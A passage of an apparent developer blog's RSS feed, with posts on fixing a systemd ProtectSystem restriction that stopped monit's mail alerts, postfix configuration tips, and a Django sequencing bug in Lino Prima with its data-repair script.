</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0514.html</guid><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate></item><item><title>Explanation for mail_queue_enter: create file maildrop/870989.992: Read-only file system</title><link>https://luc.lino-framework.org/blog/2026/0510.html</link><description>&lt;section id="explanation-for-mail-queue-enter-create-file-maildrop-870989-992-read-only-file-system"&gt;
&lt;h1&gt;Explanation for mail_queue_enter: create file maildrop/870989.992: Read-only file system&lt;a class="headerlink" href="#explanation-for-mail-queue-enter-create-file-maildrop-870989-992-read-only-file-system" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, May 10, 2026&lt;/p&gt;
&lt;p&gt;Here is what happened after &lt;a class="reference internal" href="0428.html"&gt;&lt;span class="doc"&gt;mail_queue_enter: create file maildrop/870989.992: Read-only file system&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;NB I am still unable to send emails to the debian-user mailinglist. I sent an
email to &lt;a class="reference external" href="mailto:listmaster&amp;#37;&amp;#52;&amp;#48;lists&amp;#46;debian&amp;#46;org"&gt;listmaster&lt;span&gt;&amp;#64;&lt;/span&gt;lists&lt;span&gt;&amp;#46;&lt;/span&gt;debian&lt;span&gt;&amp;#46;&lt;/span&gt;org&lt;/a&gt;, but they too didn’t respond. That’s
another story.  EDIT: I &lt;em&gt;thought&lt;/em&gt; that I was unable, but then it turned out that
my message now passed. Although I had tried multiple times for several days in a
row. And AFAIK I didn’t change anything in my DNS configs…&lt;/p&gt;
&lt;p&gt;But the members of debian-users are really great: without waiting for further
information from me, they started exploring my problem and discussed among
themselves: &lt;a class="reference external" href="https://lists.debian.org/debian-user/2026/05/threads.html"&gt;https://lists.debian.org/debian-user/2026/05/threads.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It’s Andy Smith who found the explanation, less than 24 hours after my post.
&lt;a class="reference external" href="https://lists.debian.org/debian-user/2026/05/msg00044.html"&gt;His second post in the thread&lt;/a&gt; gave the correct
explanation, which now helped me to find the solution.&lt;/p&gt;
&lt;p&gt;The problem came because Systemd runs the monit service with &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ProtectSystem&lt;/span&gt;&lt;/code&gt;
set to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;strict&lt;/span&gt;&lt;/code&gt; and without adding &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/spool/postfix/&lt;/span&gt;&lt;/code&gt; to
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ReadWritePaths&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is what I had in my &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/usr/lib/systemd/system/monit.service&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ProtectSystem&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;strict&lt;/span&gt;
&lt;span class="n"&gt;ReadWritePaths&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;monit&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I just added &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/spool/postfix/&lt;/span&gt;&lt;/code&gt;        to the list of read-write paths:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ReadWritePaths&lt;/span&gt;&lt;span class="o"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;run&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;lib&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;monit&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;How did I know that it’s &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/var/spool/postfix&lt;/span&gt;&lt;/code&gt; where maildrop tries to
write to? Because the error message unfortunately specifies only the relative
path. I guessed that this path is specified somewhere in the postfix configs, so
I said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postconf | grep queue&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Which returned a few settings, and one of them was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;queue_directory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;spool&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;postfix&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;My congratulations to the debian-users list. If only I could tell them all this!&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0510.html</guid><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate></item><item><title>Saturday, May 2, 2026</title><link>https://luc.lino-framework.org/blog/2026/0502.html</link><description>&lt;section id="saturday-may-2-2026"&gt;
&lt;h1&gt;Saturday, May 2, 2026&lt;a class="headerlink" href="#saturday-may-2-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today I have been playing during 2 hours with 7 postfix config parameters
(myhostname, myorigin, mydestination, inet_protocols, inet_interfaces,
local_transport and smtp_bind_address) on two servers (kuu and lumi). There were
moments when I didn’t understand the world and had the feeling that some hidden
random error generator is running somewhere…&lt;/p&gt;
&lt;p&gt;It seems that the article &lt;a class="reference external" href="https://oneuptime.com/blog/post/2026-03-20-postfix-send-only-smtp-ipv4/view"&gt;How to Configure Postfix as a Send-Only SMTP Server
on IPv4&lt;/a&gt;
is &lt;em&gt;not&lt;/em&gt; what we want. A default postfix config is good for us, I just need to
set three parameters correctly: myhostname, mydestination and myorigin.&lt;/p&gt;
&lt;p&gt;TIL:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;postconf&lt;/span&gt; &lt;span class="pre"&gt;key1&lt;/span&gt; &lt;span class="pre"&gt;key2&lt;/span&gt;&lt;/code&gt; shows the current settings, one line &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;key=value&lt;/span&gt;&lt;/code&gt;
for each specified key.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;postconf&lt;/span&gt; &lt;span class="pre"&gt;key=value&lt;/span&gt;&lt;/code&gt; updates the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;main.cf&lt;/span&gt;&lt;/code&gt; file from the command
line. This is useful when playing around. You can specify multiple &lt;cite&gt;key=value&lt;/cite&gt;
pairs. A &lt;cite&gt;value&lt;/cite&gt; can be empty. Know your bash rules.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;systemctl&lt;/span&gt; &lt;span class="pre"&gt;restart&lt;/span&gt;&lt;/code&gt; is more than &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;systemctl&lt;/span&gt; &lt;span class="pre"&gt;reload&lt;/span&gt;&lt;/code&gt;. When you change
inet_interfaces or inet_protocols, reloading won’t do it and postfix even
issues a warning… but only in the system journal, not on the command line.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Saying “echo foo | mail -s test root” is not enough. It’s important to specify
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;-r&lt;/span&gt;&lt;/code&gt; (or &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--return-address)&lt;/span&gt;&lt;/code&gt; because  &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;mail&lt;/span&gt;&lt;/code&gt; does not consult
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/mailname&lt;/span&gt;&lt;/code&gt;, it will just say &lt;cite&gt;username&amp;#64;hostname&lt;/cite&gt;, and hostname is
just our nickname, and most mail servers refuse emails with a non-existing
domain name in the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;From&lt;/span&gt;&lt;/code&gt; field. Here is a generic command-line for sending
a test email:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ echo foo | mail -r `whoami`@`cat /etc/mailname` -s test root
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(I wonder whether it would be better to set hostname to the the full public
name. I set it to the nickname only because I don’t want to see the full
public name in the prompt.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In Postfix you can say “/etc/mailname” as the value for &lt;cite&gt;myorigin&lt;/cite&gt;, but not
for &lt;cite&gt;myhostname&lt;/cite&gt;. Seems that Postfix checks for a “/” at the beginning only
for &lt;cite&gt;myorigin&lt;/cite&gt;. Don’t ask me why.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here is my recipe for configuring:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# postconf myhostname=`cat /etc/mailname`&lt;/span&gt;
&lt;span class="c1"&gt;# postconf myorigin=/etc/mailname&lt;/span&gt;
&lt;span class="c1"&gt;# postconf &amp;#39;mydestination=$myhostname,localhost&amp;#39;&lt;/span&gt;
&lt;span class="c1"&gt;# systemctl restart postfix&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To verify these three parameters:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# postconf myhostname mydestination myorigin
myhostname = lumi.mylino.net
mydestination = $myhostname,localhost
myorigin = /etc/mailname
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0502.html</guid><pubDate>Sat, 02 May 2026 00:00:00 +0000</pubDate></item><item><title>Thursday, April 30, 2026</title><link>https://luc.lino-framework.org/blog/2026/0430.html</link><description>&lt;section id="thursday-april-30-2026"&gt;
&lt;h1&gt;Thursday, April 30, 2026&lt;a class="headerlink" href="#thursday-april-30-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Today a bug in &lt;a class="reference external" href="https://prima.lino-framework.org/index.html#prima" title="(in Lino Prima)"&gt;&lt;span&gt;Lino Prima&lt;/span&gt;&lt;/a&gt; took me a few hours to hunt and fix.&lt;/p&gt;
&lt;p&gt;Look at this code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;    &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Challenge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Sequenced&lt;/span&gt;&lt;span class="p"&gt;)::&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_siblings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exam_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exam&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exam&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Above code is bad. Below is the corrected code:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;get_siblings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exam_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;exam&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exam&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;project_section&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;none&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_prima.lib.ratings.Challenge&lt;/span&gt;&lt;/code&gt; row has always either &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;exam&lt;/span&gt;&lt;/code&gt;
or &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;project_section&lt;/span&gt;&lt;/code&gt; set. But on a row having both &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;exam&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;project_section&lt;/span&gt;&lt;/code&gt; &lt;cite&gt;None&lt;/cite&gt; (a case that theoretically doesn’t exist, but
yesterday it did), the buggy &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_siblings()&lt;/span&gt;&lt;/code&gt; will return all rows with
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;project_section&lt;/span&gt;&lt;/code&gt; being null, i.e. all rows that have have an non-null
&lt;cite&gt;exam_id&lt;/cite&gt;. More exactly there were 3454 such rows. How could this exceptional
situation happen? We don’t know. It is not worth to try to find out.&lt;/p&gt;
&lt;p&gt;Here is the script I ran in to order to diagnose the problem and to repair the
data:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ratings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Challenge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;project_section__isnull&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# 3454 &amp;lt;QuerySet [Challenge #10442 (&amp;#39;Ausdrucksvolles Lesen /10 in Löwen (31.07.)&amp;#39;), Challenge #10443 (&amp;#39;Sprechen /10 in Morgenkreis Experiment (31.07.)&amp;#39;), Challenge #10444 (&amp;#39;Sprechen /10 in Morgenkreis Lesen (31.07.)&amp;#39;), Challenge &amp;gt;&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;seqnos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;set&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;There are&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seqnos&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;different seqnos&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# There are 3454 different seqnos&lt;/span&gt;

&lt;span class="c1"&gt;# sys.exit()&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
  &lt;span class="c1"&gt;# do NOT call full_clean() because that would call set_seqno()&lt;/span&gt;
  &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ratings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Challenge&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seqno&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;order_by&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;qs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;full_clean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Lesson to learn: Be careful when implementing &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.mixins.sequenced.html#lino.mixins.sequenced.Sequenced.get_siblings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Sequenced.get_siblings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0430.html</guid><pubDate>Thu, 30 Apr 2026 00:00:00 +0000</pubDate></item><item><title>mail_queue_enter: create file maildrop/870989.992: Read-only file system</title><link>https://luc.lino-framework.org/blog/2026/0428.html</link><description>&lt;section id="mail-queue-enter-create-file-maildrop-870989-992-read-only-file-system"&gt;
&lt;h1&gt;mail_queue_enter: create file maildrop/870989.992: Read-only file system&lt;a class="headerlink" href="#mail-queue-enter-create-file-maildrop-870989-992-read-only-file-system" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Tuesday, April 28, 2026&lt;/p&gt;
&lt;p&gt;I’m on a virtual private server with a freshly installed Debian 13.4.
The server is currently accessible via the FQDN &lt;cite&gt;lumi.mylino.net&lt;/cite&gt;.
I installed a list of packages like libreoffice, monit and certbot, and created a
file &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/etc/monit/conf.d/lino.conf&lt;/span&gt;&lt;/code&gt; with the following content:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# generated by getlino
set alert root@localhost with reminder on 2 cycles
check program status with path /usr/local/bin/healthcheck.sh
    if status != 0 then alert
check device ROOT  with path /
    if SPACE usage &amp;gt; 95% then alert
check system $HOST
    if memory usage &amp;gt; 75% for 5 cycles then alert
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This file causes the server to collapse after a few hours of operation.  When I
remove the file and reboot the server, my problem disappears. And when I restore
the file and reboot, my problem reappears.&lt;/p&gt;
&lt;p&gt;Here is what happens after rebooting when the file exists.&lt;/p&gt;
&lt;p&gt;Soon after rebooting, I have the following message in my journal:&lt;/p&gt;
